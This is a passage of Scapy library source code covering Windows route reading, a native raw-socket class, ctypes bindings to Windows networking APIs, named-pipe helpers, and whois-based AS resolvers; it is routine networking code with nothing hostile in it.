getattr(iface, metric_name) if ipv6: _append_route6(routes, dest, netmask, nexthop, netw, lifaddr, metric) else: routes.append((atol(dest), itom(int(netmask)), nexthop, netw, ip, metric)) return routes def read_routes(): # type: () -> List[Tuple[int, int, str, str, str, int]] routes = [] try: if WINDOWS_XP: routes = _read_routes_c_v1() else: routes = _read_routes_c(ipv6=False) except Exception as e: log_loading.warning("Error building scapy IPv4 routing table : %s", e) return routes ############ # IPv6 # ############ def in6_getifaddr(): # type: () -> List[Tuple[str, int, str]] """ Returns all IPv6 addresses found on the computer """ ifaddrs = [] # type: List[Tuple[str, int, str]] ip6s = get_ips(v6=True) for iface, ips in ip6s.items(): for ip in ips: scope = in6_getscope(ip) ifaddrs.append((ip, scope, iface.network_name)) # Appends Npcap loopback if available if conf.use_npcap and conf.loopback_name: ifaddrs.append(("::1", 0, conf.loopback_name)) return ifaddrs def _append_route6(routes, # type: List[Tuple[str, int, str, str, List[str], int]] dpref, # type: str dp, # type: int nh, # type: str iface, # type: str lifaddr, # type: List[Tuple[str, int, str]] metric, # type: int ): # type: (...) -> None cset = [] # candidate set (possible source addresses) if iface == conf.loopback_name: if dpref == '::': return cset = ['::1'] else: devaddrs = (x for x in lifaddr if x[2] == iface) cset = construct_source_candidate_set(dpref, dp, devaddrs) if not cset: return # APPEND (DESTINATION, NETMASK, NEXT HOP, IFACE, CANDIDATES, METRIC) routes.append((dpref, dp, nh, iface, cset, metric)) def read_routes6(): # type: () -> List[Tuple[str, int, str, str, List[str], int]] routes6 = [] if WINDOWS_XP: return routes6 try: routes6 = _read_routes_c(ipv6=True) except Exception as e: log_loading.warning("Error building scapy IPv6 routing table : %s", e) return routes6 def _route_add_loopback(routes=None, # type: Optional[List[Any]] ipv6=False, # type: bool iflist=None, # type: Optional[List[str]] ): # type: (...) -> None """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows""" if not WINDOWS: warning("Calling _route_add_loopback is only valid on Windows") return warning("This will completely mess up the routes. Testing purpose only !") # Add only if some adapters already exist if ipv6: if not conf.route6.routes: return else: if not conf.route.routes: return conf.ifaces._add_fake_iface(conf.loopback_name) adapter = conf.ifaces.dev_from_name(conf.loopback_name) if iflist: iflist.append(adapter.network_name) return # Remove all conf.loopback_name routes for route in list(conf.route.routes): iface = route[3] if iface == conf.loopback_name: conf.route.routes.remove(route) # Remove conf.loopback_name interface for devname, ifname in list(conf.ifaces.items()): if ifname == conf.loopback_name: conf.ifaces.pop(devname) # Inject interface conf.ifaces[r"\Device\NPF_{0XX00000-X000-0X0X-X00X-00XXXX000XXX}"] = adapter conf.loopback_name = adapter.network_name if isinstance(conf.iface, NetworkInterface): if conf.iface.network_name == conf.loopback_name: conf.iface = adapter conf.netcache.arp_cache["127.0.0.1"] = "ff:ff:ff:ff:ff:ff" # type: ignore conf.netcache.in6_neighbor["::1"] = "ff:ff:ff:ff:ff:ff" # type: ignore # Build the packed network addresses loop_net = struct.unpack("!I", socket.inet_aton("127.0.0.0"))[0] loop_mask = struct.unpack("!I", socket.inet_aton("255.0.0.0"))[0] # Build the fake routes loopback_route = ( loop_net, loop_mask, "0.0.0.0", adapter.network_name, "127.0.0.1", 1 ) loopback_route6 = ('::1', 128, '::', adapter.network_name, ["::1"], 1) loopback_route6_custom = ("fe80::", 128, "::", adapter.network_name, ["::1"], 1) if routes is None: # Injection conf.route6.routes.append(loopback_route6) conf.route6.routes.append(loopback_route6_custom) conf.route.routes.append(loopback_route) # Flush the caches conf.route6.invalidate_cache() conf.route.invalidate_cache() else: if ipv6: routes.append(loopback_route6) routes.append(loopback_route6_custom) else: routes.append(loopback_route) class _NotAvailableSocket(SuperSocket): desc = "wpcap.dll missing" def __init__(self, *args, **kargs): # type: (*Any, **Any) -> None raise RuntimeError( "Sniffing and sending packets is not available at layer 2: " "winpcap is not installed. You may use conf.L3socket or " "conf.L3socket6 to access layer 3" ) ####### # DNS # ####### def read_nameservers() -> List[str]: """Return the nameservers configured by the OS (on the default interface) """ # Windows has support for different DNS servers on each network interface, # but to be cross-platform we only return the servers for the default one. if isinstance(conf.iface, NetworkInterface_Win): return conf.iface.nameservers else: return [] ================================================ FILE: scapy/arch/windows/native.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Native Microsoft Windows sockets (L3 only) This uses Raw Sockets from winsock https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2 .. note:: Don't use this module. It is a proof of concept, and a worse-case-scenario failover, but you should consider that raw sockets on Windows don't work and install Npcap to avoid using it at all cost. """ import io import socket import struct import time from scapy.automaton import select_objects from scapy.compat import raw from scapy.config import conf from scapy.data import MTU from scapy.error import Scapy_Exception, log_runtime from scapy.packet import Packet from scapy.interfaces import resolve_iface, _GlobInterfaceType from scapy.supersocket import SuperSocket # Typing imports from typing import ( Any, List, Optional, Tuple, Type, ) # Watch out for import loops (inet...) class L3WinSocket(SuperSocket): """ A L3 raw socket implementation native to Windows. Official "Windows Limitations" from MSDN: - TCP data cannot be sent over raw sockets. - UDP datagrams with an invalid source address cannot be sent over raw sockets. - For IPv6 (address family of AF_INET6), an application receives everything after the last IPv6 header in each received datagram [...]. The application does not receive any IPv6 headers using a raw socket. Unofficial limitations: - Turns out we actually don't see any incoming TCP data, only the outgoing. We do properly see UDP, ICMP, etc. both ways though. - To match IPv6 responses, one must use `conf.checkIPaddr = False` as we can't get the real destination. **To overcome those limitations, install Npcap.** """ desc = "a native Layer 3 (IPv4) raw socket under Windows" nonblocking_socket = True __selectable_force_select__ = True # see automaton.py __slots__ = ["promisc", "cls", "ipv6"] def __init__(self, iface=None, # type: Optional[_GlobInterfaceType] ttl=128, # type: int ipv6=False, # type: bool promisc=True, # type: bool **kwargs # type: Any ): # type: (...) -> None from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 for kwarg in kwargs: log_runtime.warning("Dropping unsupported option: %s" % kwarg) self.iface = iface and resolve_iface(iface) or conf.iface if not self.iface.is_valid(): log_runtime.warning("Interface is invalid. This will fail.") af = socket.AF_INET6 if ipv6 else socket.AF_INET self.ipv6 = ipv6 self.cls = IPv6 if ipv6 else IP # Promisc if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc # Notes: # - IPPROTO_RAW is broken. We don't use it. # - IPPROTO_IPV6 exists in MSDN docs, but using it will result in # no packets being received. Same for its options (IPV6_HDRINCL...) # However, using IPPROTO_IP with AF_INET6 will still receive # the IPv6 packets try: # Listening on AF_INET6 IPPROTO_IPV6 is broken. Use IPPROTO_IP self.outs = self.ins = socket.socket( af, socket.SOCK_RAW, socket.IPPROTO_IP, ) except OSError as e: if e.errno == 13: raise OSError("Windows native L3 Raw sockets are only " "usable as administrator ! " "Please install Npcap to workaround !") raise self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) # set TTL self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl) # Get as much data as possible: reduce what is cropped if ipv6: # IPV6_HDRINCL is broken. Use IP_HDRINCL even on IPv6 self.outs.setsockopt(socket.IPPROTO_IPV6, socket.IP_HDRINCL, 1) try: # Not all Windows versions self.ins.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_RECVTCLASS, 1) self.ins.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_HOPLIMIT, 1) except (OSError, socket.error): pass else: # IOCTL Include IP headers self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) try: # Not Windows XP self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_RECVDSTADDR, 1) except (OSError, socket.error): pass try: # Windows 10+ recent builds only self.ins.setsockopt( socket.IPPROTO_IP, socket.IP_RECVTTL, # type: ignore 1 ) except (OSError, socket.error): pass # Bind on all ports if ipv6: from scapy.arch import get_if_addr6 host = get_if_addr6(self.iface) else: from scapy.arch import get_if_addr host = get_if_addr(self.iface) self.ins.bind((host or socket.gethostname(), 0)) # self.ins.setblocking(False) # Set promisc if promisc: # IOCTL Receive all packets self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) def send(self, x): # type: (Packet) -> int data = raw(x) if self.cls not in x: raise Scapy_Exception("L3WinSocket can only send IP/IPv6 packets !" " Install Npcap/Winpcap to send more") from scapy.layers.inet import TCP if TCP in x: raise Scapy_Exception( "'TCP data cannot be sent over raw socket': " "https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2" # noqa: E501 ) if not self.outs: raise Scapy_Exception("Socket not created") dst_ip = str(x[self.cls].dst) return self.outs.sendto(data, (dst_ip, 0)) def nonblock_recv(self, x=MTU): # type: (int) -> Optional[Packet] try: return self.recv() except IOError: return None # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2 # noqa: E501 # - For IPv4 (address family of AF_INET), an application receives the IP # header at the front of each received datagram regardless of the # IP_HDRINCL socket option. # - For IPv6 (address family of AF_INET6), an application receives # everything after the last IPv6 header in each received datagram # regardless of the IPV6_HDRINCL socket option. The application does # not receive any IPv6 headers using a raw socket. def recv_raw(self, x=MTU): # type: (int) -> Tuple[Type[Packet], bytes, float] try: data, address = self.ins.recvfrom(x) except io.BlockingIOError: return None, None, None # type: ignore if self.ipv6: from scapy.layers.inet6 import IPv6 # AF_INET6 does not return the IPv6 header. Let's build it # (host, port, flowinfo, scopeid) host, _, flowinfo, _ = address # We have to guess what the proto is. Ugly heuristics ahead :( # Waiting for https://github.com/python/cpython/issues/80398 if len(data) > 6 and struct.unpack("!H", data[4:6])[0] == len(data): proto = socket.IPPROTO_UDP elif data and data[0] in range(128, 138): # ugh proto = socket.IPPROTO_ICMPV6 else: proto = socket.IPPROTO_TCP header = raw( IPv6( src=host, dst="::", fl=flowinfo, nh=proto or 0xFF, plen=len(data) ) ) return IPv6, header + data, time.time() else: from scapy.layers.inet import IP return IP, data, time.time() def close(self): # type: () -> None if not self.closed and self.promisc and hasattr(self, 'ins'): self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) super(L3WinSocket, self).close() @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] return select_objects(sockets, remain) class L3WinSocket6(L3WinSocket): desc = "a native Layer 3 (IPv6) raw socket under Windows" def __init__(self, **kwargs): # type: (**Any) -> None super(L3WinSocket6, self).__init__( ipv6=True, **kwargs, ) ================================================ FILE: scapy/arch/windows/structures.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter # flake8: noqa E266 # (We keep comment boxes, it's then one-line comments) """ C API calls to Windows DLLs """ import ctypes import ctypes.wintypes from ctypes import ( POINTER, Structure, WINFUNCTYPE, byref, create_string_buffer, ) from socket import AddressFamily from scapy.config import conf from scapy.consts import WINDOWS_XP from scapy.data import MTU # Typing imports from typing import ( Any, Dict, IO, List, Optional, Tuple, ) ANY_SIZE = 65500 # FIXME quite inefficient :/ NO_ERROR = 0x0 CHAR = ctypes.c_char DWORD = ctypes.wintypes.DWORD BOOL = ctypes.wintypes.BOOL BOOLEAN = ctypes.wintypes.BOOLEAN ULONG = ctypes.wintypes.ULONG ULONGLONG = ctypes.c_ulonglong HANDLE = ctypes.wintypes.HANDLE LPVOID = ctypes.wintypes.LPVOID LPWSTR = ctypes.wintypes.LPWSTR VOID = ctypes.c_void_p INT = ctypes.c_int UINT = ctypes.wintypes.UINT UINT8 = ctypes.c_uint8 UINT16 = ctypes.c_uint16 UINT32 = ctypes.c_uint32 UINT64 = ctypes.c_uint64 BYTE = ctypes.c_byte UCHAR = UBYTE = ctypes.c_ubyte SHORT = ctypes.c_short USHORT = ctypes.c_ushort # UTILS def _resolve_list(list_obj): # type: (Any) -> List[Dict[str, Any]] current = list_obj _list = [] while current and hasattr(current, "contents"): _list.append(_struct_to_dict(current.contents)) current = current.contents.next return _list def _struct_to_dict(struct_obj): # type: (Any) -> Dict[str, Any] results = {} # type: Dict[str, Any] for fname, ctype in struct_obj.__class__._fields_: val = getattr(struct_obj, fname) if fname == "next": # Already covered by the trick below continue if issubclass(ctype, (Structure, ctypes.Union)): results[fname] = _struct_to_dict(val) elif val and hasattr(val, "contents"): # Let's resolve recursive pointers if hasattr(val.contents, "next"): results[fname] = _resolve_list(val) else: results[fname] = val else: results[fname] = val return results ############################## ####### WinAPI handles ####### ############################## _winapi_SetConsoleTitle = ctypes.windll.kernel32.SetConsoleTitleW _winapi_SetConsoleTitle.restype = BOOL _winapi_SetConsoleTitle.argtypes = [LPWSTR] def _windows_title(title=None): # type: (Optional[str]) -> None """ Updates the terminal title with the default one or with `title` if provided. """ if conf.interactive: _winapi_SetConsoleTitle(title or "Scapy v{}".format(conf.version)) SC_HANDLE = HANDLE class SERVICE_STATUS(Structure): """https://docs.microsoft.com/en-us/windows/desktop/api/winsvc/ns-winsvc-_service_status""" # noqa: E501 _fields_ = [("dwServiceType", DWORD), ("dwCurrentState", DWORD), ("dwControlsAccepted", DWORD), ("dwWin32ExitCode", DWORD), ("dwServiceSpecificExitCode", DWORD), ("dwCheckPoint", DWORD), ("dwWaitHint", DWORD)] OpenServiceW = ctypes.windll.Advapi32.OpenServiceW OpenServiceW.restype = SC_HANDLE OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD] CloseServiceHandle = ctypes.windll.Advapi32.CloseServiceHandle CloseServiceHandle.restype = BOOL CloseServiceHandle.argtypes = [SC_HANDLE] OpenSCManagerW = ctypes.windll.Advapi32.OpenSCManagerW OpenSCManagerW.restype = SC_HANDLE OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD] QueryServiceStatus = ctypes.windll.Advapi32.QueryServiceStatus QueryServiceStatus.restype = BOOL QueryServiceStatus.argtypes = [SC_HANDLE, POINTER(SERVICE_STATUS)] def get_service_status(service): # type: (str) -> Dict[str, int] """Returns content of QueryServiceStatus for a service""" SERVICE_QUERY_STATUS = 0x0004 schSCManager = OpenSCManagerW( None, # Local machine None, # SERVICES_ACTIVE_DATABASE SERVICE_QUERY_STATUS ) service = OpenServiceW( schSCManager, service, SERVICE_QUERY_STATUS ) status = SERVICE_STATUS() QueryServiceStatus( service, status ) result = _struct_to_dict(status) CloseServiceHandle(service) CloseServiceHandle(schSCManager) return result ############################## ###### Define IPHLPAPI ###### ############################## iphlpapi = ctypes.windll.iphlpapi ############################## ########### Common ########### ############################## class in_addr(Structure): _fields_ = [("byte", UBYTE * 4)] class in6_addr(Structure): _fields_ = [("byte", UBYTE * 16)] class sockaddr_in(Structure): _fields_ = [("sin_family", SHORT), ("sin_port", USHORT), ("sin_addr", in_addr), ("sin_zero", 8 * CHAR)] class sockaddr_in6(Structure): _fields_ = [("sin6_family", SHORT), ("sin6_port", USHORT), ("sin6_flowinfo", ULONG), ("sin6_addr", in6_addr), ("sin6_scope_id", ULONG)] class SOCKADDR_INET(ctypes.Union): _fields_ = [("Ipv4", sockaddr_in), ("Ipv6", sockaddr_in6), ("si_family", USHORT)] ############################## ##### Adapters Addresses ##### ############################## # Our GetAdaptersAddresses implementation is inspired by # @sphaero 's gist: https://gist.github.com/sphaero/f9da6ebb9a7a6f679157 # published under a MPL 2.0 License (GPLv2 compatible) # from iptypes.h MAX_ADAPTER_ADDRESS_LENGTH = 8 MAX_DHCPV6_DUID_LENGTH = 130 GAA_FLAG_INCLUDE_PREFIX = 0x0010 GAA_FLAG_INCLUDE_ALL_INTERFACES = 0x0100 # for now, just use void * for pointers to unused structures PIP_ADAPTER_WINS_SERVER_ADDRESS_LH = VOID PIP_ADAPTER_GATEWAY_ADDRESS_LH = VOID PIP_ADAPTER_DNS_SUFFIX = VOID IF_OPER_STATUS = UINT IF_LUID = UINT64 NET_IF_COMPARTMENT_ID = UINT32 GUID = BYTE * 16 NET_IF_NETWORK_GUID = GUID NET_IF_CONNECTION_TYPE = UINT # enum TUNNEL_TYPE = UINT # enum class SOCKET_ADDRESS(ctypes.Structure): _fields_ = [('address', POINTER(SOCKADDR_INET)), ('length', INT)] class _IP_ADAPTER_ADDRESSES_METRIC(Structure): _fields_ = [('length', ULONG), ('interface_index', DWORD)] class IP_ADAPTER_UNICAST_ADDRESS(Structure): pass PIP_ADAPTER_UNICAST_ADDRESS = POINTER(IP_ADAPTER_UNICAST_ADDRESS) if WINDOWS_XP: IP_ADAPTER_UNICAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_UNICAST_ADDRESS), ("address", SOCKET_ADDRESS), ("prefix_origin", INT), ("suffix_origin", INT), ("dad_state", INT), ("valid_lifetime", ULONG), ("preferred_lifetime", ULONG), ("lease_lifetime", ULONG), ] else: IP_ADAPTER_UNICAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_UNICAST_ADDRESS), ("address", SOCKET_ADDRESS), ("prefix_origin", INT), ("suffix_origin", INT), ("dad_state", INT), ("valid_lifetime", ULONG), ("preferred_lifetime", ULONG), ("lease_lifetime", ULONG), ("on_link_prefix_length", UBYTE) ] class IP_ADAPTER_ANYCAST_ADDRESS(Structure): pass PIP_ADAPTER_ANYCAST_ADDRESS = POINTER(IP_ADAPTER_ANYCAST_ADDRESS) IP_ADAPTER_ANYCAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_ANYCAST_ADDRESS), ("address", SOCKET_ADDRESS), ] class IP_ADAPTER_MULTICAST_ADDRESS(Structure): pass PIP_ADAPTER_MULTICAST_ADDRESS = POINTER(IP_ADAPTER_MULTICAST_ADDRESS) IP_ADAPTER_MULTICAST_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_MULTICAST_ADDRESS), ("address", SOCKET_ADDRESS), ] class IP_ADAPTER_DNS_SERVER_ADDRESS(Structure): pass PIP_ADAPTER_DNS_SERVER_ADDRESS = POINTER(IP_ADAPTER_DNS_SERVER_ADDRESS) IP_ADAPTER_DNS_SERVER_ADDRESS._fields_ = [ ("length", ULONG), ("flags", DWORD), ("next", PIP_ADAPTER_DNS_SERVER_ADDRESS), ("address", SOCKET_ADDRESS), ] class IP_ADAPTER_PREFIX(Structure): pass PIP_ADAPTER_PREFIX = ctypes.POINTER(IP_ADAPTER_PREFIX) IP_ADAPTER_PREFIX._fields_ = [ ("alignment", ULONGLONG), ("next", PIP_ADAPTER_PREFIX), ("address", SOCKET_ADDRESS), ("prefix_length", ULONG) ] class IP_ADAPTER_ADDRESSES(Structure): pass LP_IP_ADAPTER_ADDRESSES = POINTER(IP_ADAPTER_ADDRESSES) if WINDOWS_XP: IP_ADAPTER_ADDRESSES._fields_ = [ ('length', ULONG), ('interface_index', DWORD), ('next', LP_IP_ADAPTER_ADDRESSES), ('adapter_name', ctypes.c_char_p), ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS), ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS), ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS), ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS), ('dns_suffix', ctypes.c_wchar_p), ('description', ctypes.c_wchar_p), ('friendly_name', ctypes.c_wchar_p), ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH), ('physical_address_length', ULONG), ('flags', ULONG), ('mtu', ULONG), ('interface_type', DWORD), ('oper_status', IF_OPER_STATUS), ('ipv6_interface_index', DWORD), ('zone_indices', ULONG * 16), ('first_prefix', PIP_ADAPTER_PREFIX), ] else: IP_ADAPTER_ADDRESSES._fields_ = [ ('length', ULONG), ('interface_index', DWORD), ('next', LP_IP_ADAPTER_ADDRESSES), ('adapter_name', ctypes.c_char_p), ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS), ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS), ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS), ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS), ('dns_suffix', ctypes.c_wchar_p), ('description', ctypes.c_wchar_p), ('friendly_name', ctypes.c_wchar_p), ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH), ('physical_address_length', ULONG), ('flags', ULONG), ('mtu', ULONG), ('interface_type', DWORD), ('oper_status', IF_OPER_STATUS), ('ipv6_interface_index', DWORD), ('zone_indices', ULONG * 16), ('first_prefix', PIP_ADAPTER_PREFIX), ('transmit_link_speed', ULONGLONG), ('receive_link_speed', ULONGLONG), ('first_wins_server_address', PIP_ADAPTER_WINS_SERVER_ADDRESS_LH), ('first_gateway_address', PIP_ADAPTER_GATEWAY_ADDRESS_LH), ('ipv4_metric', ULONG), ('ipv6_metric', ULONG), ('luid', IF_LUID), ('dhcpv4_server', SOCKET_ADDRESS), ('compartment_id', NET_IF_COMPARTMENT_ID), ('network_guid', NET_IF_NETWORK_GUID), ('connection_type', NET_IF_CONNECTION_TYPE), ('tunnel_type', TUNNEL_TYPE), ('dhcpv6_server', SOCKET_ADDRESS), ('dhcpv6_client_duid', BYTE * MAX_DHCPV6_DUID_LENGTH), ('dhcpv6_client_duid_length', ULONG), ('dhcpv6_iaid', ULONG), ('first_dns_suffix', PIP_ADAPTER_DNS_SUFFIX)] # Func _GetAdaptersAddresses = WINFUNCTYPE(ULONG, ULONG, ULONG, POINTER(VOID), LP_IP_ADAPTER_ADDRESSES, POINTER(ULONG))( ('GetAdaptersAddresses', iphlpapi)) def GetAdaptersAddresses(AF=AddressFamily.AF_UNSPEC): # type: (int) -> List[Dict[str, Any]] """Return all Windows Adapters addresses from iphlpapi""" # We get the size first size = ULONG() flags = ULONG(GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_INCLUDE_ALL_INTERFACES) res = _GetAdaptersAddresses(AF, flags, None, None, byref(size)) if res != 0x6f: # BUFFER OVERFLOW -> populate size raise RuntimeError("Error getting structure length (%d)" % res) # Now let's build our buffer pointer_type = POINTER(IP_ADAPTER_ADDRESSES) buffer = create_string_buffer(size.value) AdapterAddresses = ctypes.cast(buffer, pointer_type) # And call GetAdaptersAddresses res = _GetAdaptersAddresses(AF, flags, None, AdapterAddresses, byref(size)) if res != NO_ERROR: raise RuntimeError("Error retrieving table (%d)" % res) results = _resolve_list(AdapterAddresses) del AdapterAddresses return results ############################## ####### Routing tables ####### ############################## ### V1 ### class MIB_IPFORWARDROW(Structure): _fields_ = [('ForwardDest', DWORD), ('ForwardMask', DWORD), ('ForwardPolicy', DWORD), ('ForwardNextHop', DWORD), ('ForwardIfIndex', DWORD), ('ForwardType', DWORD), ('ForwardProto', DWORD), ('ForwardAge', DWORD), ('ForwardNextHopAS', DWORD), ('ForwardMetric1', DWORD), ('ForwardMetric2', DWORD), ('ForwardMetric3', DWORD), ('ForwardMetric4', DWORD), ('ForwardMetric5', DWORD)] class MIB_IPFORWARDTABLE(Structure): _fields_ = [('NumEntries', DWORD), ('Table', MIB_IPFORWARDROW * ANY_SIZE)] PMIB_IPFORWARDTABLE = POINTER(MIB_IPFORWARDTABLE) # Func _GetIpForwardTable = WINFUNCTYPE(DWORD, PMIB_IPFORWARDTABLE, POINTER(ULONG), BOOL)( ('GetIpForwardTable', iphlpapi)) def GetIpForwardTable(): # type: () -> List[Dict[str, Any]] """Return all Windows routes (IPv4 only) from iphlpapi""" # We get the size first size = ULONG() res = _GetIpForwardTable(None, byref(size), False) if res != 0x7a: # ERROR_INSUFFICIENT_BUFFER -> populate size raise RuntimeError("Error getting structure length (%d)" % res) # Now let's build our buffer pointer_type = PMIB_IPFORWARDTABLE buffer = create_string_buffer(size.value) pIpForwardTable = ctypes.cast(buffer, pointer_type) # And call GetAdaptersAddresses res = _GetIpForwardTable(pIpForwardTable, byref(size), True) if res != NO_ERROR: raise RuntimeError("Error retrieving table (%d)" % res) results = [] for i in range(pIpForwardTable.contents.NumEntries): results.append(_struct_to_dict(pIpForwardTable.contents.Table[i])) del pIpForwardTable return results ### V2 ### NET_IFINDEX = ULONG NL_ROUTE_PROTOCOL = INT NL_ROUTE_ORIGIN = INT class NET_LUID(Structure): _fields_ = [("Value", ULONGLONG)] class IP_ADDRESS_PREFIX(Structure): _fields_ = [("Prefix", SOCKADDR_INET), ("PrefixLength", UINT8)] class MIB_IPFORWARD_ROW2(Structure): _fields_ = [("InterfaceLuid", NET_LUID), ("InterfaceIndex", NET_IFINDEX), ("DestinationPrefix", IP_ADDRESS_PREFIX), ("NextHop", SOCKADDR_INET), ("SitePrefixLength", UCHAR), ("ValidLifetime", ULONG), ("PreferredLifetime", ULONG), ("Metric", ULONG), ("Protocol", NL_ROUTE_PROTOCOL), ("Loopback", BOOLEAN), ("AutoconfigureAddress", BOOLEAN), ("Publish", BOOLEAN), ("Immortal", BOOLEAN), ("Age", ULONG), ("Origin", NL_ROUTE_ORIGIN)] class MIB_IPFORWARD_TABLE2(Structure): _fields_ = [("NumEntries", ULONG), ("Table", MIB_IPFORWARD_ROW2 * ANY_SIZE)] PMIB_IPFORWARD_TABLE2 = POINTER(MIB_IPFORWARD_TABLE2) # Func if not WINDOWS_XP: # GetIpForwardTable2 does not exist under Windows XP _GetIpForwardTable2 = WINFUNCTYPE( ULONG, USHORT, POINTER(PMIB_IPFORWARD_TABLE2))( ('GetIpForwardTable2', iphlpapi) ) _FreeMibTable = WINFUNCTYPE(None, PMIB_IPFORWARD_TABLE2)( ('FreeMibTable', iphlpapi) ) def GetIpForwardTable2(AF=AddressFamily.AF_UNSPEC): # type: (AddressFamily) -> List[Dict[str, Any]] """Return all Windows routes (IPv4/IPv6) from iphlpapi""" if WINDOWS_XP: raise OSError("Not available on Windows XP !") table = PMIB_IPFORWARD_TABLE2() res = _GetIpForwardTable2(AF, byref(table)) if res != NO_ERROR: raise RuntimeError("Error retrieving table (%d)" % res) results = [] for i in range(table.contents.NumEntries): results.append(_struct_to_dict(table.contents.Table[i])) _FreeMibTable(table) return results ############## #### FIFO #### ############## class _SECURITY_ATTRIBUTES(Structure): _fields_ = [("nLength", DWORD), ("lpSecurityDescriptor", LPVOID), ("bInheritHandle", BOOL)] LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES) def _get_win_fifo() -> Tuple[str, Any]: """Create a windows fifo and returns the (client file, server fd) """ from scapy.volatile import RandString f = r"\\.\pipe\scapy%s" % str(RandString(6)) buffer = create_string_buffer(ctypes.sizeof(_SECURITY_ATTRIBUTES)) sec = ctypes.cast(buffer, LPSECURITY_ATTRIBUTES) sec.contents.nLength = ctypes.sizeof(_SECURITY_ATTRIBUTES) res = ctypes.windll.kernel32.CreateNamedPipeA( create_string_buffer(f.encode()), 0x00000003 | 0x40000000, 0, 1, 65536, 65536, 300, sec, ) if res == -1: raise OSError(ctypes.FormatError()) return f, res def _win_fifo_open(fd: Any) -> IO[bytes]: """Connect NamedPipe and return a fake open() file """ ctypes.windll.kernel32.ConnectNamedPipe(fd, None) class _opened(IO[bytes]): def read(self, x: int = MTU) -> bytes: buf = ctypes.create_string_buffer(x) res = ctypes.windll.kernel32.ReadFile( fd, buf, x, None, None, ) if res == 0: raise OSError(ctypes.FormatError()) return buf.raw def close(self) -> None: # ignore failures ctypes.windll.kernel32.CloseHandle(fd) return _opened() # type: ignore ================================================ FILE: scapy/as_resolvers.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Resolve Autonomous Systems (AS). """ import socket from scapy.config import conf from scapy.compat import plain_str from typing import ( Any, Optional, Tuple, List, ) class AS_resolver: server = None options = "-k" # type: Optional[str] def __init__(self, server=None, port=43, options=None): # type: (Optional[str], int, Optional[str]) -> None if server is not None: self.server = server self.port = port if options is not None: self.options = options def _start(self): # type: () -> None self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.server, self.port)) if self.options: self.s.send(self.options.encode("utf8") + b"\n") self.s.recv(8192) def _stop(self): # type: () -> None self.s.close() def _parse_whois(self, txt): # type: (bytes) -> Tuple[Optional[str], str] asn, desc = None, b"" for line in txt.splitlines(): if not asn and line.startswith(b"origin:"): asn = plain_str(line[7:].strip()) if line.startswith(b"descr:"): if desc: desc += b"\n" desc += line[6:].strip() if asn is not None and desc: break return asn, plain_str(desc.strip()) def _resolve_one(self, ip): # type: (str) -> Tuple[str, Optional[str], str] self.s.send(("%s\n" % ip).encode("utf8")) x = b"" while not (b"%" in x or b"source" in x): d = self.s.recv(8192) if not d: break x += d asn, desc = self._parse_whois(x) return ip, asn, desc def resolve(self, *ips # type: str ): # type: (...) -> List[Tuple[str, Optional[str], str]] self._start() ret = [] # type: List[Tuple[str, Optional[str], str]] for ip in ips: ip, asn, desc = self._resolve_one(ip) if asn is not None: ret.append((ip, asn, desc)) self._stop() return ret class AS_resolver_riswhois(AS_resolver): server = "riswhois.ripe.net" options = "-k -M -1" class AS_resolver_radb(AS_resolver): server = "whois.ra.net" options = "-k -M" class AS_resolver_cymru(AS_resolver): server = "whois.cymru.com" options = None def resolve(self, *ips # type: str ): # type: (...) -> List[Tuple[str, Optional[str], str]] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.server, self.port)) s.send( b"begin\r\n" + b"\r\n".join(ip.encode() for ip in ips) + b"\r\nend\r\n" ) r = b"" while True: line = s.recv(8192) if line == b"": break r += line s.close() return self.parse(r) def parse(self, data): # type: (bytes) -> List[Tuple[str, Optional[str], str]] """Parse bulk cymru data""" ASNlist = [] # type: List[Tuple[str, Optional[str], str]] for line in 